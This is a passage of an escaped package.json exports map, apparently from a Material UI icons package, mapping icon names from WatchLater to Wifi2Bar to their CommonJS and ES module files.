\"./WatchLaterTwoTone.mjs\",\n      \"default\": \"./WatchLaterTwoTone.mjs\"\n    },\n    \"./WatchOff\": {\n      \"require\": \"./WatchOff.js\",\n      \"import\": \"./WatchOff.mjs\",\n      \"default\": \"./WatchOff.mjs\"\n    },\n    \"./WatchOffOutlined\": {\n      \"import\": \"./WatchOffOutlined.mjs\",\n      \"require\": \"./WatchOffOutlined.js\",\n      \"default\": \"./WatchOffOutlined.mjs\"\n    },\n    \"./WatchOffRounded\": {\n      \"import\": \"./WatchOffRounded.mjs\",\n      \"require\": \"./WatchOffRounded.js\",\n      \"default\": \"./WatchOffRounded.mjs\"\n    },\n    \"./WatchOffSharp\": {\n      \"import\": \"./WatchOffSharp.mjs\",\n      \"require\": \"./WatchOffSharp.js\",\n      \"default\": \"./WatchOffSharp.mjs\"\n    },\n    \"./WatchOffTwoTone\": {\n      \"import\": \"./WatchOffTwoTone.mjs\",\n      \"require\": \"./WatchOffTwoTone.js\",\n      \"default\": \"./WatchOffTwoTone.mjs\"\n    },\n    \"./WatchOutlined\": {\n      \"import\": \"./WatchOutlined.mjs\",\n      \"require\": \"./WatchOutlined.js\",\n      \"default\": \"./WatchOutlined.mjs\"\n    },\n    \"./WatchRounded\": {\n      \"import\": \"./WatchRounded.mjs\",\n      \"require\": \"./WatchRounded.js\",\n      \"default\": \"./WatchRounded.mjs\"\n    },\n    \"./WatchSharp\": {\n      \"import\": \"./WatchSharp.mjs\",\n      \"require\": \"./WatchSharp.js\",\n      \"default\": \"./WatchSharp.mjs\"\n    },\n    \"./WatchTwoTone\": {\n      \"import\": \"./WatchTwoTone.mjs\",\n      \"require\": \"./WatchTwoTone.js\",\n      \"default\": \"./WatchTwoTone.mjs\"\n    },\n    \"./Water\": {\n      \"import\": \"./Water.mjs\",\n      \"require\": \"./Water.js\",\n      \"default\": \"./Water.mjs\"\n    },\n    \"./WaterDamage\": {\n      \"import\": \"./WaterDamage.mjs\",\n      \"require\": \"./WaterDamage.js\",\n      \"default\": \"./WaterDamage.mjs\"\n    },\n    \"./WaterDamageOutlined\": {\n      \"import\": \"./WaterDamageOutlined.mjs\",\n      \"require\": \"./WaterDamageOutlined.js\",\n      \"default\": \"./WaterDamageOutlined.mjs\"\n    },\n    \"./WaterDamageRounded\": {\n      \"import\": \"./WaterDamageRounded.mjs\",\n      \"require\": \"./WaterDamageRounded.js\",\n      \"default\": \"./WaterDamageRounded.mjs\"\n    },\n    \"./WaterDamageSharp\": {\n      \"import\": \"./WaterDamageSharp.mjs\",\n      \"require\": \"./WaterDamageSharp.js\",\n      \"default\": \"./WaterDamageSharp.mjs\"\n    },\n    \"./WaterDamageTwoTone\": {\n      \"import\": \"./WaterDamageTwoTone.mjs\",\n      \"require\": \"./WaterDamageTwoTone.js\",\n      \"default\": \"./WaterDamageTwoTone.mjs\"\n    },\n    \"./WaterDrop\": {\n      \"import\": \"./WaterDrop.mjs\",\n      \"require\": \"./WaterDrop.js\",\n      \"default\": \"./WaterDrop.mjs\"\n    },\n    \"./WaterDropOutlined\": {\n      \"import\": \"./WaterDropOutlined.mjs\",\n      \"require\": \"./WaterDropOutlined.js\",\n      \"default\": \"./WaterDropOutlined.mjs\"\n    },\n    \"./WaterDropRounded\": {\n      \"import\": \"./WaterDropRounded.mjs\",\n      \"require\": \"./WaterDropRounded.js\",\n      \"default\": \"./WaterDropRounded.mjs\"\n    },\n    \"./WaterDropSharp\": {\n      \"import\": \"./WaterDropSharp.mjs\",\n      \"require\": \"./WaterDropSharp.js\",\n      \"default\": \"./WaterDropSharp.mjs\"\n    },\n    \"./WaterDropTwoTone\": {\n      \"require\": \"./WaterDropTwoTone.js\",\n      \"import\": \"./WaterDropTwoTone.mjs\",\n      \"default\": \"./WaterDropTwoTone.mjs\"\n    },\n    \"./WaterOutlined\": {\n      \"require\": \"./WaterOutlined.js\",\n      \"import\": \"./WaterOutlined.mjs\",\n      \"default\": \"./WaterOutlined.mjs\"\n    },\n    \"./WaterRounded\": {\n      \"require\": \"./WaterRounded.js\",\n      \"import\": \"./WaterRounded.mjs\",\n      \"default\": \"./WaterRounded.mjs\"\n    },\n    \"./WaterSharp\": {\n      \"import\": \"./WaterSharp.mjs\",\n      \"require\": \"./WaterSharp.js\",\n      \"default\": \"./WaterSharp.mjs\"\n    },\n    \"./WaterTwoTone\": {\n      \"import\": \"./WaterTwoTone.mjs\",\n      \"require\": \"./WaterTwoTone.js\",\n      \"default\": \"./WaterTwoTone.mjs\"\n    },\n    \"./WaterfallChart\": {\n      \"require\": \"./WaterfallChart.js\",\n      \"import\": \"./WaterfallChart.mjs\",\n      \"default\": \"./WaterfallChart.mjs\"\n    },\n    \"./WaterfallChartOutlined\": {\n      \"require\": \"./WaterfallChartOutlined.js\",\n      \"import\": \"./WaterfallChartOutlined.mjs\",\n      \"default\": \"./WaterfallChartOutlined.mjs\"\n    },\n    \"./WaterfallChartRounded\": {\n      \"import\": \"./WaterfallChartRounded.mjs\",\n      \"require\": \"./WaterfallChartRounded.js\",\n      \"default\": \"./WaterfallChartRounded.mjs\"\n    },\n    \"./WaterfallChartSharp\": {\n      \"import\": \"./WaterfallChartSharp.mjs\",\n      \"require\": \"./WaterfallChartSharp.js\",\n      \"default\": \"./WaterfallChartSharp.mjs\"\n    },\n    \"./WaterfallChartTwoTone\": {\n      \"import\": \"./WaterfallChartTwoTone.mjs\",\n      \"require\": \"./WaterfallChartTwoTone.js\",\n      \"default\": \"./WaterfallChartTwoTone.mjs\"\n    },\n    \"./Waves\": {\n      \"import\": \"./Waves.mjs\",\n      \"require\": \"./Waves.js\",\n      \"default\": \"./Waves.mjs\"\n    },\n    \"./WavesOutlined\": {\n      \"import\": \"./WavesOutlined.mjs\",\n      \"require\": \"./WavesOutlined.js\",\n      \"default\": \"./WavesOutlined.mjs\"\n    },\n    \"./WavesRounded\": {\n      \"import\": \"./WavesRounded.mjs\",\n      \"require\": \"./WavesRounded.js\",\n      \"default\": \"./WavesRounded.mjs\"\n    },\n    \"./WavesSharp\": {\n      \"import\": \"./WavesSharp.mjs\",\n      \"require\": \"./WavesSharp.js\",\n      \"default\": \"./WavesSharp.mjs\"\n    },\n    \"./WavesTwoTone\": {\n      \"import\": \"./WavesTwoTone.mjs\",\n      \"require\": \"./WavesTwoTone.js\",\n      \"default\": \"./WavesTwoTone.mjs\"\n    },\n    \"./WavingHand\": {\n      \"import\": \"./WavingHand.mjs\",\n      \"require\": \"./WavingHand.js\",\n      \"default\": \"./WavingHand.mjs\"\n    },\n    \"./WavingHandOutlined\": {\n      \"import\": \"./WavingHandOutlined.mjs\",\n      \"require\": \"./WavingHandOutlined.js\",\n      \"default\": \"./WavingHandOutlined.mjs\"\n    },\n    \"./WavingHandRounded\": {\n      \"import\": \"./WavingHandRounded.mjs\",\n      \"require\": \"./WavingHandRounded.js\",\n      \"default\": \"./WavingHandRounded.mjs\"\n    },\n    \"./WavingHandSharp\": {\n      \"import\": \"./WavingHandSharp.mjs\",\n      \"require\": \"./WavingHandSharp.js\",\n      \"default\": \"./WavingHandSharp.mjs\"\n    },\n    \"./WavingHandTwoTone\": {\n      \"import\": \"./WavingHandTwoTone.mjs\",\n      \"require\": \"./WavingHandTwoTone.js\",\n      \"default\": \"./WavingHandTwoTone.mjs\"\n    },\n    \"./WbAuto\": {\n      \"import\": \"./WbAuto.mjs\",\n      \"require\": \"./WbAuto.js\",\n      \"default\": \"./WbAuto.mjs\"\n    },\n    \"./WbAutoOutlined\": {\n      \"import\": \"./WbAutoOutlined.mjs\",\n      \"require\": \"./WbAutoOutlined.js\",\n      \"default\": \"./WbAutoOutlined.mjs\"\n    },\n    \"./WbAutoRounded\": {\n      \"import\": \"./WbAutoRounded.mjs\",\n      \"require\": \"./WbAutoRounded.js\",\n      \"default\": \"./WbAutoRounded.mjs\"\n    },\n    \"./WbAutoSharp\": {\n      \"import\": \"./WbAutoSharp.mjs\",\n      \"require\": \"./WbAutoSharp.js\",\n      \"default\": \"./WbAutoSharp.mjs\"\n    },\n    \"./WbAutoTwoTone\": {\n      \"import\": \"./WbAutoTwoTone.mjs\",\n      \"require\": \"./WbAutoTwoTone.js\",\n      \"default\": \"./WbAutoTwoTone.mjs\"\n    },\n    \"./WbCloudy\": {\n      \"import\": \"./WbCloudy.mjs\",\n      \"require\": \"./WbCloudy.js\",\n      \"default\": \"./WbCloudy.mjs\"\n    },\n    \"./WbCloudyOutlined\": {\n      \"import\": \"./WbCloudyOutlined.mjs\",\n      \"require\": \"./WbCloudyOutlined.js\",\n      \"default\": \"./WbCloudyOutlined.mjs\"\n    },\n    \"./WbCloudyRounded\": {\n      \"import\": \"./WbCloudyRounded.mjs\",\n      \"require\": \"./WbCloudyRounded.js\",\n      \"default\": \"./WbCloudyRounded.mjs\"\n    },\n    \"./WbCloudySharp\": {\n      \"import\": \"./WbCloudySharp.mjs\",\n      \"require\": \"./WbCloudySharp.js\",\n      \"default\": \"./WbCloudySharp.mjs\"\n    },\n    \"./WbCloudyTwoTone\": {\n      \"import\": \"./WbCloudyTwoTone.mjs\",\n      \"require\": \"./WbCloudyTwoTone.js\",\n      \"default\": \"./WbCloudyTwoTone.mjs\"\n    },\n    \"./WbIncandescent\": {\n      \"import\": \"./WbIncandescent.mjs\",\n      \"require\": \"./WbIncandescent.js\",\n      \"default\": \"./WbIncandescent.mjs\"\n    },\n    \"./WbIncandescentOutlined\": {\n      \"import\": \"./WbIncandescentOutlined.mjs\",\n      \"require\": \"./WbIncandescentOutlined.js\",\n      \"default\": \"./WbIncandescentOutlined.mjs\"\n    },\n    \"./WbIncandescentRounded\": {\n      \"import\": \"./WbIncandescentRounded.mjs\",\n      \"require\": \"./WbIncandescentRounded.js\",\n      \"default\": \"./WbIncandescentRounded.mjs\"\n    },\n    \"./WbIncandescentSharp\": {\n      \"import\": \"./WbIncandescentSharp.mjs\",\n      \"require\": \"./WbIncandescentSharp.js\",\n      \"default\": \"./WbIncandescentSharp.mjs\"\n    },\n    \"./WbIncandescentTwoTone\": {\n      \"import\": \"./WbIncandescentTwoTone.mjs\",\n      \"require\": \"./WbIncandescentTwoTone.js\",\n      \"default\": \"./WbIncandescentTwoTone.mjs\"\n    },\n    \"./WbIridescent\": {\n      \"import\": \"./WbIridescent.mjs\",\n      \"require\": \"./WbIridescent.js\",\n      \"default\": \"./WbIridescent.mjs\"\n    },\n    \"./WbIridescentOutlined\": {\n      \"import\": \"./WbIridescentOutlined.mjs\",\n      \"require\": \"./WbIridescentOutlined.js\",\n      \"default\": \"./WbIridescentOutlined.mjs\"\n    },\n    \"./WbIridescentRounded\": {\n      \"import\": \"./WbIridescentRounded.mjs\",\n      \"require\": \"./WbIridescentRounded.js\",\n      \"default\": \"./WbIridescentRounded.mjs\"\n    },\n    \"./WbIridescentSharp\": {\n      \"import\": \"./WbIridescentSharp.mjs\",\n      \"require\": \"./WbIridescentSharp.js\",\n      \"default\": \"./WbIridescentSharp.mjs\"\n    },\n    \"./WbIridescentTwoTone\": {\n      \"import\": \"./WbIridescentTwoTone.mjs\",\n      \"require\": \"./WbIridescentTwoTone.js\",\n      \"default\": \"./WbIridescentTwoTone.mjs\"\n    },\n    \"./WbShade\": {\n      \"import\": \"./WbShade.mjs\",\n      \"require\": \"./WbShade.js\",\n      \"default\": \"./WbShade.mjs\"\n    },\n    \"./WbShadeOutlined\": {\n      \"import\": \"./WbShadeOutlined.mjs\",\n      \"require\": \"./WbShadeOutlined.js\",\n      \"default\": \"./WbShadeOutlined.mjs\"\n    },\n    \"./WbShadeRounded\": {\n      \"import\": \"./WbShadeRounded.mjs\",\n      \"require\": \"./WbShadeRounded.js\",\n      \"default\": \"./WbShadeRounded.mjs\"\n    },\n    \"./WbShadeSharp\": {\n      \"import\": \"./WbShadeSharp.mjs\",\n      \"require\": \"./WbShadeSharp.js\",\n      \"default\": \"./WbShadeSharp.mjs\"\n    },\n    \"./WbShadeTwoTone\": {\n      \"import\": \"./WbShadeTwoTone.mjs\",\n      \"require\": \"./WbShadeTwoTone.js\",\n      \"default\": \"./WbShadeTwoTone.mjs\"\n    },\n    \"./WbSunny\": {\n      \"import\": \"./WbSunny.mjs\",\n      \"require\": \"./WbSunny.js\",\n      \"default\": \"./WbSunny.mjs\"\n    },\n    \"./WbSunnyOutlined\": {\n      \"import\": \"./WbSunnyOutlined.mjs\",\n      \"require\": \"./WbSunnyOutlined.js\",\n      \"default\": \"./WbSunnyOutlined.mjs\"\n    },\n    \"./WbSunnyRounded\": {\n      \"import\": \"./WbSunnyRounded.mjs\",\n      \"require\": \"./WbSunnyRounded.js\",\n      \"default\": \"./WbSunnyRounded.mjs\"\n    },\n    \"./WbSunnySharp\": {\n      \"import\": \"./WbSunnySharp.mjs\",\n      \"require\": \"./WbSunnySharp.js\",\n      \"default\": \"./WbSunnySharp.mjs\"\n    },\n    \"./WbSunnyTwoTone\": {\n      \"import\": \"./WbSunnyTwoTone.mjs\",\n      \"require\": \"./WbSunnyTwoTone.js\",\n      \"default\": \"./WbSunnyTwoTone.mjs\"\n    },\n    \"./WbTwighlight\": {\n      \"import\": \"./WbTwighlight.mjs\",\n      \"require\": \"./WbTwighlight.js\",\n      \"default\": \"./WbTwighlight.mjs\"\n    },\n    \"./WbTwilight\": {\n      \"import\": \"./WbTwilight.mjs\",\n      \"require\": \"./WbTwilight.js\",\n      \"default\": \"./WbTwilight.mjs\"\n    },\n    \"./WbTwilightOutlined\": {\n      \"import\": \"./WbTwilightOutlined.mjs\",\n      \"require\": \"./WbTwilightOutlined.js\",\n      \"default\": \"./WbTwilightOutlined.mjs\"\n    },\n    \"./WbTwilightRounded\": {\n      \"import\": \"./WbTwilightRounded.mjs\",\n      \"require\": \"./WbTwilightRounded.js\",\n      \"default\": \"./WbTwilightRounded.mjs\"\n    },\n    \"./WbTwilightSharp\": {\n      \"import\": \"./WbTwilightSharp.mjs\",\n      \"require\": \"./WbTwilightSharp.js\",\n      \"default\": \"./WbTwilightSharp.mjs\"\n    },\n    \"./WbTwilightTwoTone\": {\n      \"import\": \"./WbTwilightTwoTone.mjs\",\n      \"require\": \"./WbTwilightTwoTone.js\",\n      \"default\": \"./WbTwilightTwoTone.mjs\"\n    },\n    \"./Wc\": {\n      \"import\": \"./Wc.mjs\",\n      \"require\": \"./Wc.js\",\n      \"default\": \"./Wc.mjs\"\n    },\n    \"./WcOutlined\": {\n      \"import\": \"./WcOutlined.mjs\",\n      \"require\": \"./WcOutlined.js\",\n      \"default\": \"./WcOutlined.mjs\"\n    },\n    \"./WcRounded\": {\n      \"import\": \"./WcRounded.mjs\",\n      \"require\": \"./WcRounded.js\",\n      \"default\": \"./WcRounded.mjs\"\n    },\n    \"./WcSharp\": {\n      \"import\": \"./WcSharp.mjs\",\n      \"require\": \"./WcSharp.js\",\n      \"default\": \"./WcSharp.mjs\"\n    },\n    \"./WcTwoTone\": {\n      \"import\": \"./WcTwoTone.mjs\",\n      \"require\": \"./WcTwoTone.js\",\n      \"default\": \"./WcTwoTone.mjs\"\n    },\n    \"./Web\": {\n      \"import\": \"./Web.mjs\",\n      \"require\": \"./Web.js\",\n      \"default\": \"./Web.mjs\"\n    },\n    \"./WebAsset\": {\n      \"import\": \"./WebAsset.mjs\",\n      \"require\": \"./WebAsset.js\",\n      \"default\": \"./WebAsset.mjs\"\n    },\n    \"./WebAssetOff\": {\n      \"import\": \"./WebAssetOff.mjs\",\n      \"require\": \"./WebAssetOff.js\",\n      \"default\": \"./WebAssetOff.mjs\"\n    },\n    \"./WebAssetOffOutlined\": {\n      \"import\": \"./WebAssetOffOutlined.mjs\",\n      \"require\": \"./WebAssetOffOutlined.js\",\n      \"default\": \"./WebAssetOffOutlined.mjs\"\n    },\n    \"./WebAssetOffRounded\": {\n      \"import\": \"./WebAssetOffRounded.mjs\",\n      \"require\": \"./WebAssetOffRounded.js\",\n      \"default\": \"./WebAssetOffRounded.mjs\"\n    },\n    \"./WebAssetOffSharp\": {\n      \"import\": \"./WebAssetOffSharp.mjs\",\n      \"require\": \"./WebAssetOffSharp.js\",\n      \"default\": \"./WebAssetOffSharp.mjs\"\n    },\n    \"./WebAssetOffTwoTone\": {\n      \"import\": \"./WebAssetOffTwoTone.mjs\",\n      \"require\": \"./WebAssetOffTwoTone.js\",\n      \"default\": \"./WebAssetOffTwoTone.mjs\"\n    },\n    \"./WebAssetOutlined\": {\n      \"import\": \"./WebAssetOutlined.mjs\",\n      \"require\": \"./WebAssetOutlined.js\",\n      \"default\": \"./WebAssetOutlined.mjs\"\n    },\n    \"./WebAssetRounded\": {\n      \"import\": \"./WebAssetRounded.mjs\",\n      \"require\": \"./WebAssetRounded.js\",\n      \"default\": \"./WebAssetRounded.mjs\"\n    },\n    \"./WebAssetSharp\": {\n      \"import\": \"./WebAssetSharp.mjs\",\n      \"require\": \"./WebAssetSharp.js\",\n      \"default\": \"./WebAssetSharp.mjs\"\n    },\n    \"./WebAssetTwoTone\": {\n      \"import\": \"./WebAssetTwoTone.mjs\",\n      \"require\": \"./WebAssetTwoTone.js\",\n      \"default\": \"./WebAssetTwoTone.mjs\"\n    },\n    \"./WebOutlined\": {\n      \"import\": \"./WebOutlined.mjs\",\n      \"require\": \"./WebOutlined.js\",\n      \"default\": \"./WebOutlined.mjs\"\n    },\n    \"./WebRounded\": {\n      \"import\": \"./WebRounded.mjs\",\n      \"require\": \"./WebRounded.js\",\n      \"default\": \"./WebRounded.mjs\"\n    },\n    \"./WebSharp\": {\n      \"import\": \"./WebSharp.mjs\",\n      \"require\": \"./WebSharp.js\",\n      \"default\": \"./WebSharp.mjs\"\n    },\n    \"./WebStories\": {\n      \"import\": \"./WebStories.mjs\",\n      \"require\": \"./WebStories.js\",\n      \"default\": \"./WebStories.mjs\"\n    },\n    \"./WebStoriesOutlined\": {\n      \"import\": \"./WebStoriesOutlined.mjs\",\n      \"require\": \"./WebStoriesOutlined.js\",\n      \"default\": \"./WebStoriesOutlined.mjs\"\n    },\n    \"./WebStoriesRounded\": {\n      \"import\": \"./WebStoriesRounded.mjs\",\n      \"require\": \"./WebStoriesRounded.js\",\n      \"default\": \"./WebStoriesRounded.mjs\"\n    },\n    \"./WebStoriesSharp\": {\n      \"import\": \"./WebStoriesSharp.mjs\",\n      \"require\": \"./WebStoriesSharp.js\",\n      \"default\": \"./WebStoriesSharp.mjs\"\n    },\n    \"./WebStoriesTwoTone\": {\n      \"import\": \"./WebStoriesTwoTone.mjs\",\n      \"require\": \"./WebStoriesTwoTone.js\",\n      \"default\": \"./WebStoriesTwoTone.mjs\"\n    },\n    \"./WebTwoTone\": {\n      \"import\": \"./WebTwoTone.mjs\",\n      \"require\": \"./WebTwoTone.js\",\n      \"default\": \"./WebTwoTone.mjs\"\n    },\n    \"./Webhook\": {\n      \"import\": \"./Webhook.mjs\",\n      \"require\": \"./Webhook.js\",\n      \"default\": \"./Webhook.mjs\"\n    },\n    \"./WebhookOutlined\": {\n      \"import\": \"./WebhookOutlined.mjs\",\n      \"require\": \"./WebhookOutlined.js\",\n      \"default\": \"./WebhookOutlined.mjs\"\n    },\n    \"./WebhookRounded\": {\n      \"import\": \"./WebhookRounded.mjs\",\n      \"require\": \"./WebhookRounded.js\",\n      \"default\": \"./WebhookRounded.mjs\"\n    },\n    \"./WebhookSharp\": {\n      \"require\": \"./WebhookSharp.js\",\n      \"import\": \"./WebhookSharp.mjs\",\n      \"default\": \"./WebhookSharp.mjs\"\n    },\n    \"./WebhookTwoTone\": {\n      \"require\": \"./WebhookTwoTone.js\",\n      \"import\": \"./WebhookTwoTone.mjs\",\n      \"default\": \"./WebhookTwoTone.mjs\"\n    },\n    \"./Weekend\": {\n      \"require\": \"./Weekend.js\",\n      \"import\": \"./Weekend.mjs\",\n      \"default\": \"./Weekend.mjs\"\n    },\n    \"./WeekendOutlined\": {\n      \"require\": \"./WeekendOutlined.js\",\n      \"import\": \"./WeekendOutlined.mjs\",\n      \"default\": \"./WeekendOutlined.mjs\"\n    },\n    \"./WeekendRounded\": {\n      \"require\": \"./WeekendRounded.js\",\n      \"import\": \"./WeekendRounded.mjs\",\n      \"default\": \"./WeekendRounded.mjs\"\n    },\n    \"./WeekendSharp\": {\n      \"require\": \"./WeekendSharp.js\",\n      \"import\": \"./WeekendSharp.mjs\",\n      \"default\": \"./WeekendSharp.mjs\"\n    },\n    \"./WeekendTwoTone\": {\n      \"require\": \"./WeekendTwoTone.js\",\n      \"import\": \"./WeekendTwoTone.mjs\",\n      \"default\": \"./WeekendTwoTone.mjs\"\n    },\n    \"./West\": {\n      \"require\": \"./West.js\",\n      \"import\": \"./West.mjs\",\n      \"default\": \"./West.mjs\"\n    },\n    \"./WestOutlined\": {\n      \"require\": \"./WestOutlined.js\",\n      \"import\": \"./WestOutlined.mjs\",\n      \"default\": \"./WestOutlined.mjs\"\n    },\n    \"./WestRounded\": {\n      \"import\": \"./WestRounded.mjs\",\n      \"require\": \"./WestRounded.js\",\n      \"default\": \"./WestRounded.mjs\"\n    },\n    \"./WestSharp\": {\n      \"import\": \"./WestSharp.mjs\",\n      \"require\": \"./WestSharp.js\",\n      \"default\": \"./WestSharp.mjs\"\n    },\n    \"./WestTwoTone\": {\n      \"import\": \"./WestTwoTone.mjs\",\n      \"require\": \"./WestTwoTone.js\",\n      \"default\": \"./WestTwoTone.mjs\"\n    },\n    \"./WhatsApp\": {\n      \"import\": \"./WhatsApp.mjs\",\n      \"require\": \"./WhatsApp.js\",\n      \"default\": \"./WhatsApp.mjs\"\n    },\n    \"./Whatshot\": {\n      \"import\": \"./Whatshot.mjs\",\n      \"require\": \"./Whatshot.js\",\n      \"default\": \"./Whatshot.mjs\"\n    },\n    \"./WhatshotOutlined\": {\n      \"require\": \"./WhatshotOutlined.js\",\n      \"import\": \"./WhatshotOutlined.mjs\",\n      \"default\": \"./WhatshotOutlined.mjs\"\n    },\n    \"./WhatshotRounded\": {\n      \"require\": \"./WhatshotRounded.js\",\n      \"import\": \"./WhatshotRounded.mjs\",\n      \"default\": \"./WhatshotRounded.mjs\"\n    },\n    \"./WhatshotSharp\": {\n      \"require\": \"./WhatshotSharp.js\",\n      \"import\": \"./WhatshotSharp.mjs\",\n      \"default\": \"./WhatshotSharp.mjs\"\n    },\n    \"./WhatshotTwoTone\": {\n      \"import\": \"./WhatshotTwoTone.mjs\",\n      \"require\": \"./WhatshotTwoTone.js\",\n      \"default\": \"./WhatshotTwoTone.mjs\"\n    },\n    \"./WheelchairPickup\": {\n      \"import\": \"./WheelchairPickup.mjs\",\n      \"require\": \"./WheelchairPickup.js\",\n      \"default\": \"./WheelchairPickup.mjs\"\n    },\n    \"./WheelchairPickupOutlined\": {\n      \"import\": \"./WheelchairPickupOutlined.mjs\",\n      \"require\": \"./WheelchairPickupOutlined.js\",\n      \"default\": \"./WheelchairPickupOutlined.mjs\"\n    },\n    \"./WheelchairPickupRounded\": {\n      \"import\": \"./WheelchairPickupRounded.mjs\",\n      \"require\": \"./WheelchairPickupRounded.js\",\n      \"default\": \"./WheelchairPickupRounded.mjs\"\n    },\n    \"./WheelchairPickupSharp\": {\n      \"import\": \"./WheelchairPickupSharp.mjs\",\n      \"require\": \"./WheelchairPickupSharp.js\",\n      \"default\": \"./WheelchairPickupSharp.mjs\"\n    },\n    \"./WheelchairPickupTwoTone\": {\n      \"import\": \"./WheelchairPickupTwoTone.mjs\",\n      \"require\": \"./WheelchairPickupTwoTone.js\",\n      \"default\": \"./WheelchairPickupTwoTone.mjs\"\n    },\n    \"./WhereToVote\": {\n      \"import\": \"./WhereToVote.mjs\",\n      \"require\": \"./WhereToVote.js\",\n      \"default\": \"./WhereToVote.mjs\"\n    },\n    \"./WhereToVoteOutlined\": {\n      \"import\": \"./WhereToVoteOutlined.mjs\",\n      \"require\": \"./WhereToVoteOutlined.js\",\n      \"default\": \"./WhereToVoteOutlined.mjs\"\n    },\n    \"./WhereToVoteRounded\": {\n      \"require\": \"./WhereToVoteRounded.js\",\n      \"import\": \"./WhereToVoteRounded.mjs\",\n      \"default\": \"./WhereToVoteRounded.mjs\"\n    },\n    \"./WhereToVoteSharp\": {\n      \"require\": \"./WhereToVoteSharp.js\",\n      \"import\": \"./WhereToVoteSharp.mjs\",\n      \"default\": \"./WhereToVoteSharp.mjs\"\n    },\n    \"./WhereToVoteTwoTone\": {\n      \"require\": \"./WhereToVoteTwoTone.js\",\n      \"import\": \"./WhereToVoteTwoTone.mjs\",\n      \"default\": \"./WhereToVoteTwoTone.mjs\"\n    },\n    \"./Widgets\": {\n      \"require\": \"./Widgets.js\",\n      \"import\": \"./Widgets.mjs\",\n      \"default\": \"./Widgets.mjs\"\n    },\n    \"./WidgetsOutlined\": {\n      \"require\": \"./WidgetsOutlined.js\",\n      \"import\": \"./WidgetsOutlined.mjs\",\n      \"default\": \"./WidgetsOutlined.mjs\"\n    },\n    \"./WidgetsRounded\": {\n      \"require\": \"./WidgetsRounded.js\",\n      \"import\": \"./WidgetsRounded.mjs\",\n      \"default\": \"./WidgetsRounded.mjs\"\n    },\n    \"./WidgetsSharp\": {\n      \"require\": \"./WidgetsSharp.js\",\n      \"import\": \"./WidgetsSharp.mjs\",\n      \"default\": \"./WidgetsSharp.mjs\"\n    },\n    \"./WidgetsTwoTone\": {\n      \"require\": \"./WidgetsTwoTone.js\",\n      \"import\": \"./WidgetsTwoTone.mjs\",\n      \"default\": \"./WidgetsTwoTone.mjs\"\n    },\n    \"./WidthFull\": {\n      \"import\": \"./WidthFull.mjs\",\n      \"require\": \"./WidthFull.js\",\n      \"default\": \"./WidthFull.mjs\"\n    },\n    \"./WidthFullOutlined\": {\n      \"import\": \"./WidthFullOutlined.mjs\",\n      \"require\": \"./WidthFullOutlined.js\",\n      \"default\": \"./WidthFullOutlined.mjs\"\n    },\n    \"./WidthFullRounded\": {\n      \"import\": \"./WidthFullRounded.mjs\",\n      \"require\": \"./WidthFullRounded.js\",\n      \"default\": \"./WidthFullRounded.mjs\"\n    },\n    \"./WidthFullSharp\": {\n      \"import\": \"./WidthFullSharp.mjs\",\n      \"require\": \"./WidthFullSharp.js\",\n      \"default\": \"./WidthFullSharp.mjs\"\n    },\n    \"./WidthFullTwoTone\": {\n      \"import\": \"./WidthFullTwoTone.mjs\",\n      \"require\": \"./WidthFullTwoTone.js\",\n      \"default\": \"./WidthFullTwoTone.mjs\"\n    },\n    \"./WidthNormal\": {\n      \"import\": \"./WidthNormal.mjs\",\n      \"require\": \"./WidthNormal.js\",\n      \"default\": \"./WidthNormal.mjs\"\n    },\n    \"./WidthNormalOutlined\": {\n      \"import\": \"./WidthNormalOutlined.mjs\",\n      \"require\": \"./WidthNormalOutlined.js\",\n      \"default\": \"./WidthNormalOutlined.mjs\"\n    },\n    \"./WidthNormalRounded\": {\n      \"import\": \"./WidthNormalRounded.mjs\",\n      \"require\": \"./WidthNormalRounded.js\",\n      \"default\": \"./WidthNormalRounded.mjs\"\n    },\n    \"./WidthNormalSharp\": {\n      \"import\": \"./WidthNormalSharp.mjs\",\n      \"require\": \"./WidthNormalSharp.js\",\n      \"default\": \"./WidthNormalSharp.mjs\"\n    },\n    \"./WidthNormalTwoTone\": {\n      \"require\": \"./WidthNormalTwoTone.js\",\n      \"import\": \"./WidthNormalTwoTone.mjs\",\n      \"default\": \"./WidthNormalTwoTone.mjs\"\n    },\n    \"./WidthWide\": {\n      \"require\": \"./WidthWide.js\",\n      \"import\": \"./WidthWide.mjs\",\n      \"default\": \"./WidthWide.mjs\"\n    },\n    \"./WidthWideOutlined\": {\n      \"require\": \"./WidthWideOutlined.js\",\n      \"import\": \"./WidthWideOutlined.mjs\",\n      \"default\": \"./WidthWideOutlined.mjs\"\n    },\n    \"./WidthWideRounded\": {\n      \"require\": \"./WidthWideRounded.js\",\n      \"import\": \"./WidthWideRounded.mjs\",\n      \"default\": \"./WidthWideRounded.mjs\"\n    },\n    \"./WidthWideSharp\": {\n      \"require\": \"./WidthWideSharp.js\",\n      \"import\": \"./WidthWideSharp.mjs\",\n      \"default\": \"./WidthWideSharp.mjs\"\n    },\n    \"./WidthWideTwoTone\": {\n      \"require\": \"./WidthWideTwoTone.js\",\n      \"import\": \"./WidthWideTwoTone.mjs\",\n      \"default\": \"./WidthWideTwoTone.mjs\"\n    },\n    \"./Wifi\": {\n      \"require\": \"./Wifi.js\",\n      \"import\": \"./Wifi.mjs\",\n      \"default\": \"./Wifi.mjs\"\n    },\n    \"./Wifi1Bar\": {\n      \"require\": \"./Wifi1Bar.js\",\n      \"import\": \"./Wifi1Bar.mjs\",\n      \"default\": \"./Wifi1Bar.mjs\"\n    },\n    \"./Wifi1BarOutlined\": {\n      \"require\": \"./Wifi1BarOutlined.js\",\n      \"import\": \"./Wifi1BarOutlined.mjs\",\n      \"default\": \"./Wifi1BarOutlined.mjs\"\n    },\n    \"./Wifi1BarRounded\": {\n      \"require\": \"./Wifi1BarRounded.js\",\n      \"import\": \"./Wifi1BarRounded.mjs\",\n      \"default\": \"./Wifi1BarRounded.mjs\"\n    },\n    \"./Wifi1BarSharp\": {\n      \"require\": \"./Wifi1BarSharp.js\",\n      \"import\": \"./Wifi1BarSharp.mjs\",\n      \"default\": \"./Wifi1BarSharp.mjs\"\n    },\n    \"./Wifi1BarTwoTone\": {\n      \"require\": \"./Wifi1BarTwoTone.js\",\n      \"import\": \"./Wifi1BarTwoTone.mjs\",\n      \"default\": \"./Wifi1BarTwoTone.mjs\"\n    },\n    \"./Wifi2Bar\": {\n      \"require\": \"./Wifi2Bar.js\",\n      \"import\": \"./Wifi2Bar.mjs\",\n      \"default\": \"./Wifi2Bar.mjs\"\n    },\n    \"./Wifi2BarOutlined\": {\n      \"require\": \"./Wifi2BarOutlined.js\",\n      \"import\": 